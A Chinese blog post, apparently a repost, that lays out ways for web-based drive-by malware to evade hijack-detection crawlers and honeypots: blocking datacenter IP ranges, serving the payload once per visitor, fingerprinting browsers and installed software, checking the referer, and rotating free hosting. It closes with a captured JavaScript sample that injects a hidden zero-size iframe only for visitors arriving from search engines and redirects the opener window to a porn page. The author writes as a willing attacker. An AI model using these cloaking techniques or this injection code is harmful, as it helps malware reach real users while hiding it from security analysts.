网马的反挂马检测及精确投放(免杀)

 

前天shadow在群里提到或许可以采取一些方法来实现对挂马检测系统的绕过,遂与其深入探讨了下,事后又考虑到网马的精确投放,总结了一些点做了点儿技术实现 ,并在这里简单记录下想到的一些想法,欢迎其他大牛不吝指教。

1、通过判断客户端安装程序指定挂马

这个是个老早的话题,早在两年前cos他们就在xkungfoo议题上提到过了:通过img标签远程域检测本地域软件是否存在 。当然还可以通过其他方式,譬如判断目标组件是否可被调用等。

这样做主要有几方面原因:

一是对于某些搞不定的杀毒软件、防火墙或hips直接采取绕过的方式,避免没有必要的网马行为泄露。

二是通过一些特征分析来区分挂马检测系统和用户电脑。譬如安装路径的不同,或者一些通用软件的安装关联性等等。当然目前一些蜜罐系统的软件安装行为几乎与用户行为相近或相同,使得这个想法具有理论可行性,不具有实际价值。

三是判断漏洞利用条件是否满足,譬如XX视频软件的溢出漏洞之类,如果没有这类软件被安装,那么网马则无需暴露给用户。

2、判断是否是spider IP段

这个是shadow提到的,我认为还是具有很大的可行性的。

 

我通过纯真IP库查询了所有的IDC IP段,然后导入数组中,再跟当前的IP做判断。如果发现在段内,则返回anti robots否则返回echo virus

 

从理论上来说,所有安放在IDC机房内的spider就都会被屏蔽住了;但实际上存在很大的限制性 —— 原因就是纯真IP库的信息不够充分,而且挂马检测系统想搞一个在列表外的IP也很容易,不过后面我们会提到一个可行的获取spider IP的方案。

3、判断是否访问过

其实我们知道,对于一个职业的网马来说,如果一个用户访问了页面,那么要么中招要么不中招,不可能第一次访问中了第二次不中,或者第一次访问不中第 二次中了。那种覆盖大量内存或占用大量CPU资源导致用户“等不及”中马就关闭浏览器的网马其实不够专业,但是即便如此,我们仍可以通过设置用户访问两次 或几次后就不再对页面注入网马内容的方式来稍微放宽策略。

这样做的另外一个原因是用来迷惑spider。从我目前知道的情况来看,一旦挂马检测系统确认该网站已中招,那么便会在很快的时间内再次轮回检测一次。而如果网马做了这样的限制,那么当spider第二次访问时就会误报成没有病毒,该站点在以后的时间里就会逐渐被忽略掉!

我在我的demo中通过简单验证IP来判断是否访问过,这个或许可以通过其他一些方式来取得客户端的唯一指纹,这里就不再深入了解了。不过需要注意 这个指纹无法放到蜜罐中,因为蜜罐会不定期被还原,因此不管是cookies、localStorage……还是flash cookies留下的痕迹都将被清除。

4、判断系统版本和浏览器版本

这个跟想法1 中提到的观点相同 —— 用于网马的精确投放以及减少没必要的网马行径泄露。

并且如果分析人员想要分析被网马检测系统找到的网马,那么他需要“重现环境”来获取代码,否则就可能误以为该网马已经失效……(譬如采取wget这种安全方式来获取网马代码之类的,在以后分析人员将获取不到任何数据)

5、判断referer

这个一是为了限制分析人员和检测系统对网马的直接取样(效果不大),和对受害站点的状态跟踪。

另外也是为了防止被陷害。譬如本来挂的游戏网站,问题不大;结果被某些人搞到GOV上去了,这个罪过可就大了,而且GOV会调人来跟,被搞的可能性会大幅增加,惩罚也将更加严重。

6、使用免费空间+免费二级域名+二次中转解析等方式隐藏行踪

这点应该跟反检测有点儿关系,而且目前一些专业的黑产貌似也有这样做的。

好处有几个:

一是如果一个网马地址被拉入黑名单,则可以迅速使用另一个

二是有效防止被“抄家”

7、spider IP的确认

目前国内的spider差不多都有这个能力 —— 在一两天内巡回国内所有站点一次。

我们假设一个黑产挂了5个马到不同网站上,但是都被同一IP访问过,那么这个IP就可以认定是spider IP,可以加到IP库中。

对于同一个站点,如果每天都被访问一两次,被连续访问了若干天,并且访问时长大致相同,而且可以通过想法4 (如果不符合,则不会加载网马)的判断但是却没有在“肉鸡管理系统”中有所体现,那么大致可以鉴定是蜜罐系统(额,也可能是还原精灵,但是那些用户不会如此勤奋的访问),所以此时也可以将IP入库。

最终比的是,到底是挂马检测系统换IP勤奋,还是网马加IP勤奋。

 

 

前两天谈到网马的反挂马检测及精确投放 ,今天又抓到一个样本。

//判断referer,如果是直接访问则过
//如果是从搜索引擎进来的,则挂马
var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=*** width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=*** width=0 height=0></iframe>");
}
...
...省略若干搜索引擎
...
//monyer ps:难道还要像北京交通一样限制单双号?
today=new Date();
riqi=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
//跟上面判断referer一样的判断
var regexp=//.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|gougou|)(/.[a-z0-9/-]+){1,2}///ig;
var where =document.referrer;
if(regexp.test(where))
{
//父窗口再转向一个色情页面
window.opener.navigate("http://***");
}

简单来说就是:

直接访问页面不会挂马,如果通过搜索引擎进来的,则中招!

如果再狠一些,限制个时间啥的就更NB了,哈哈。

这样做的一个好处是可以直接bypass挂马检测系统,因为挂马检测系统大都是基于行为分析的;并且可以迷惑一些分析者,只是如果能做在服务端就更好了。

 

转自:

网马的反挂马检测及精确投放

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值